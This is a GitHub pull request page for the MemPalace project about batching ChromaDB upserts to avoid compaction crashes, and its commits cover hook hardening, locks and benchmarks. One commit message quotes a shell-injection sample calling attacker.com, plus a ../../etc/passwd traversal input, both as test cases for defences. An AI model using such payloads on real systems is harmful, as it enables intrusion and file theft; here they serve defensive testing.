fix: batch upserts in miner to prevent ChromaDB 1.5.x compaction crashes#796
fix: batch upserts in miner to prevent ChromaDB 1.5.x compaction crashes#796IzmanIzy wants to merge 28 commits intoMemPalace:mainfrom
Conversation
|
This addresses the same WAL pressure issue we tackled in #629 — worth noting that PR also adds bulk mtime pre-fetch ( |
1 similar comment
|
This addresses the same WAL pressure issue we tackled in #629 — worth noting that PR also adds bulk mtime pre-fetch ( |
igorls
added
area/mining
…etic injection save_hook.sh: - Coerce stop_hook_active to strict True/False before eval to prevent command injection via crafted JSON (e.g. "$(curl attacker.com)") - Validate LAST_SAVE as plain integer with regex before bash arithmetic to prevent command substitution via poisoned state files hooks_cli.py: - Add _validate_transcript_path() that rejects paths with '..' components and non-.jsonl/.json extensions - _count_human_messages() now uses the validator, returning 0 for invalid paths instead of opening arbitrary files Tests: - Path traversal rejection (../../etc/passwd) - Wrong extension rejection (.txt, .py) - Valid path acceptance (.jsonl, .json) - Empty string handling - Shell injection in stop_hook_active field Refs: MemPalace#809
…h test - _count_human_messages() now logs a WARNING via _log() when a non-empty transcript_path is rejected by the validator, making silent auto-save failures diagnosable via hook.log - Add test for platform-native paths (backslashes on Windows) to verify _validate_transcript_path works cross-platform - Add test verifying the warning log is emitted on rejection Refs: MemPalace#809
Noticed a URL ``` hXXps://www.mempalace[.]tech/ ``` Though the README currently warns, it is perhaps best to surface it at urgency level at the top of the README.
When no mempalace.yaml or mempal.yaml exists in the source directory, return a default config (wing = directory name, room = general) instead of calling sys.exit(1). This lets users mine any directory into their palace without requiring init first. Closes MemPalace#14.
Addresses review feedback on MemPalace#604: - Warning now goes to stderr instead of stdout so it doesn't mix with mine progress output when users pipe stdout elsewhere. - Warning explicitly calls out that directories with the same basename will share a wing name, and suggests adding mempalace.yaml to disambiguate. Prevents silent content mixing across projects mined without yaml.
fix: allow mining directories without local mempalace.yaml
…ction fix: harden hooks against shell injection, path traversal, and arithmetic injection
Replace the blanket ban on .tech/.io/.com domains with an allowlist of real MemPalace surfaces (GitHub repo, PyPI, mempalaceofficial.com) and call out mempalace.tech as the reported impostor. The blanket .com ban would have flagged mempalaceofficial.com as fake once DNS resolves (CNAME shipped in MemPalace#877). Also update the April 11 follow-up section to match so the two notices no longer contradict each other.
…y-increase Increase visibility of fake website caution
…ze-punctuation fix: use permissive validator for KG entity values
Move regular expression compilation to the module level in `dialect.py` to prevent repeated parsing during loop execution. Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
…Palace#871) export MEMPAL_VERBOSE=true → hook blocks, agent writes diary in chat export MEMPAL_VERBOSE=false → silent background save (default) Developers need to see code and diaries being written. Regular users want zero chat clutter. Now both work. TDD: tests written first, failed, code fixed, tests pass. Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Contributors now get a one-click dev environment that mirrors CI exactly: Python 3.11 (middle of the 3.9/3.11/3.13 matrix), ruff pinned to the same >=0.4.0,<0.5 range CI enforces, and pre-commit hooks auto-installed from the existing .pre-commit-config.yaml. Pinning ruff in post-create.sh is the load-bearing piece: pyproject only sets a floor, so without the pin the ruff extension would install 0.15.x and phantom-fail lint against CI's 0.4.x.
…ompilation-15578943484596502942 ⚡ Optimize regex compilation in entity extraction
feat: add VSCode devcontainer matching CI environment
Closes MemPalace#872. The top-level decision field only recognizes "block". To not block, return empty JSON {}. "allow" was silently ignored by Claude Code, causing unpredictable behavior. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
fix: add missing self._lock to query_relationship, timeline, and stats in KnowledgeGraph
…sion
fix: replace invalid 'decision: allow' with {} in hooks (closes MemPalace#872)
TDD: test first, failed, fixed, passed. Igor fixed query_relationship/timeline/stats in an earlier commit. close() was the last method touching self._connection without holding the lock. Closes MemPalace#883. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
fix: add lock to KG close() — last missing lock (closes MemPalace#883)
The rerank pipeline was hardcoded to Anthropic's /v1/messages.
Add a backend flag so the same code path can be exercised with
any OpenAI-compatible endpoint — local Ollama, Ollama Cloud,
or any gateway that speaks /v1/chat/completions.
Enables independent verification of the "100% with Haiku rerank"
claim by running the full benchmark with a different LLM family
(e.g. minimax-m2.7:cloud) and zero Anthropic dependency.
Both longmemeval_bench.py and locomo_bench.py:
- llm_rerank*() gain backend= / base_url= kwargs
- CLI: --llm-backend {anthropic,ollama}, --llm-base-url
- API key required only when backend=anthropic (diary/palace modes still require it)
- Parse last integer in response (reasoning models emit multi-int output)
- Fallback to message.reasoning when content is empty
- Raise max_tokens to 1024 for reasoning models
Addresses MemPalace#875: every internal BENCHMARKS.md claim reproduced on Linux x86_64 (v3.3.0 tag, deterministic ChromaDB embeddings, seed=42 for the LongMemEval dev/held-out split). Scorecard — all reproduce exactly: LongMemEval raw R@5 96.6% (500/500) ✅ hybrid_v4 held-out 450 R@5 98.4% (442/450) ✅ hybrid_v4 + minimax rerank R@5 99.2% (496/500) * hybrid_v4 + minimax rerank R@10 100.0% (500/500) * LoCoMo (session, top-10) raw 60.3% (1986q) ✅ hybrid v5 88.9% (1986q) ✅ ConvoMem all-categories (250 items) 92.9% ✅ MemBench all-categories (8500) 80.3% ✅ * The minimax-m2.7:cloud rerank run replicates the "100%" claim with a different LLM family (no Anthropic dependency). R@10 is a perfect reproduction; R@5 misses 4 questions that the published Haiku run caught — consistent with BENCHMARKS.md's own disclosure that hybrid_v4 includes three question-specific fixes developed by inspecting misses, i.e. teaching to the test. The committed 50/450 split is the deterministic (seed=42) split BENCHMARKS.md references but wasn't previously in the repo. Full result JSONLs include every question, every retrieved id, and every score — auditable end-to-end.
…tion benchmarks: v3.3.0 reproduction results + Ollama rerank backend
Adapts the approach from @IzmanIzy's PR MemPalace#796 to current develop, which diverged after that PR was opened — ``add_drawer`` now populates additional metadata fields (``normalize_version``, ``hall``, ``entities``, ``source_mtime``) that a verbatim rebase of MemPalace#796 would have regressed. Changes: - Extract ``_build_drawer_payload()`` helper — single source of truth for drawer ID + metadata construction, shared by ``add_drawer`` (single drawer, kept as a thin wrapper for backwards compat with tests) and ``process_file`` (batched per-file path). - ``process_file`` now accumulates all chunks from one file into batch lists and issues a single ``collection.upsert()`` call with them all, instead of one upsert per chunk. Preserves every metadata field ``add_drawer`` sets, including the ones added after MemPalace#796 was opened. - ``mine()`` adds a periodic checkpoint every 200 files that releases and re-acquires the collection (and closets collection), letting the Rust compactor flush buffered WAL entries between batches. - ``mine()`` releases both collection references at the end of mining so the final WAL entries flush cleanly before the process exits. ## Problem A typical project mine issues thousands of individual ``col.upsert()`` calls. ChromaDB 1.5.x's Rust compactor runs concurrently with writes and falls behind under this pattern, surfacing as: - ``Segfault (exit 139)`` — the compactor corrupts the metadata segment during concurrent individual writes - ``chromadb.errors.InternalError: Error in compaction: Failed to apply logs to the metadata segment`` - Later reads crash with ``mismatched types; Rust type u64 (as SQL type INTEGER) is not compatible with SQL type BLOB`` — the compactor left half-migrated rows with ``seq_id`` values still stored as BLOB instead of decoded to INTEGER ## Scope ``tests/test_miner.py::test_add_drawer`` and ``tests/test_hall_detection.py::test_add_drawer_includes_hall`` both call ``miner.add_drawer()`` directly and expect ``True`` + a single drawer with full metadata. Both pass with the backwards-compat wrapper. Related: MemPalace#796 (original PR, now has develop conflicts), MemPalace#899 (MCP server library staleness — the other vector that creates compaction crashes upstream of this fix). Co-Authored-By: IzmanIzy <noreply@github.com> Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
|
Hi @IzmanIzy — I hit the exact compaction crash this PR fixes while mining into an existing palace that had accumulated BLOB-typed I wanted to flag that this PR has a non-trivial rebase conflict against current
The I rebased your approach onto current Commit: messelink/mempalace@9cc1365 Test I ranA delete-and-remine of a 20-file subtree (mix of markdown docs and chat transcripts) into an existing ~14.8k-drawer palace. Result: 1,324 drawers filed in a single end-to-end run without any compaction errors. The largest single-file batch was 618 drawers in one Previously (without the batching), the same mine crashed with How to proceedTotally your call — I don't want to step on your PR. Three options:
Let me know which you prefer. Happy to wait a few days for a reply before doing option 3. cc @milla-jovovich for awareness — this PR becomes unblocked with the rebase. |
|
hey @IzmanIzy — this conflicts with develop now. pls rebase and we can merge. thanks! |
|
@IzmanIzy pls check conflict |
|
@bensig — just flagging that my comment above (03:26 UTC) has the rebased version ready if it helps move this along. Branch: |
IzmanIzy
force-pushed
the
fix/batch-upsert-chromadb-compaction
branch
from
f15bffd to
9cc1365
Compare
|
Rebased onto current @bensig good to go. |
11 participants
Summary
collection.upsert()call instead of upserting each chunk individually. This reduces WAL write pressure that causes the Rust compactor in ChromaDB >= 1.5 to crash.Problem
When mining projects with 100+ files, the miner issues thousands of individual upserts. On ChromaDB 1.5.x this causes:
InternalError: Failed to apply logs to the metadata segment— WAL entries accumulate faster than compaction can process themBoth errors are intermittent and depend on project size, making them hard to reproduce in small test suites but consistent on real-world knowledge bases (300+ files).
Root Cause
ChromaDB's Rust compactor (introduced in 1.5.x) runs in a background thread. Individual upserts create one WAL entry each, and 2000+ entries in rapid succession overwhelm the compactor's ability to merge them atomically. The previous code already had a comment about hnswlib's thread-unsafe
updatePointpath causing segfaults on macOS ARM — this is the same class of bug on the compaction side, now affecting all platforms.Testing
pytest tests/ -k "mine"— 37 passed, 0 failed)ruff check) and format (ruff format --check) passTest plan
ruff check .passesruff format --check .passespytest tests/ -v --ignore=tests/benchmarks -k "mine"— 37 passed🤖 Generated with Claude Code